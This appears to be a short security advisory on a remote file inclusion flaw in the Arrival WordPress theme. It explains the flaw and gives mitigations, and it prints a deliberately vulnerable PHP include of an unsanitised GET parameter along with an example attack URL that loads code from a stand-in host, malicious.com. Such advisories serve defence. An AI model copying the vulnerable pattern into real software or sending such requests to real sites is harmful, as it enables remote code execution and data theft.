How the Exploit Works
An attacker exploiting this vulnerability could use a specially crafted PHP script to include a file from a remote server. This occurs due to improper control of filename for Include/Require Statement in PHP Program. By doing so, the attacker can execute arbitrary PHP code within the context of the vulnerable application, potentially leading to unauthorized system access or data leak.
Conceptual Example Code
Below is a conceptual example of how the vulnerability might be exploited. This example is a PHP script that includes a malicious file from a remote server.
<?php
// The vulnerable include statement
include($_GET['file'] . ".php");
// An attacker could exploit this by sending a request like:
// http://targetsite.com/vulnerable.php?file=http://malicious.com/malicious
?>Mitigation and Recommendations
WPoperation has already released a patch to address this vulnerability, and all users are strongly urged to update to the latest version of Arrival. In the absence of a patch, users can use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as temporary mitigation. Additionally, input validation techniques should be used to validate user inputs for PHP include/require statements to prevent similar vulnerabilities in the future.
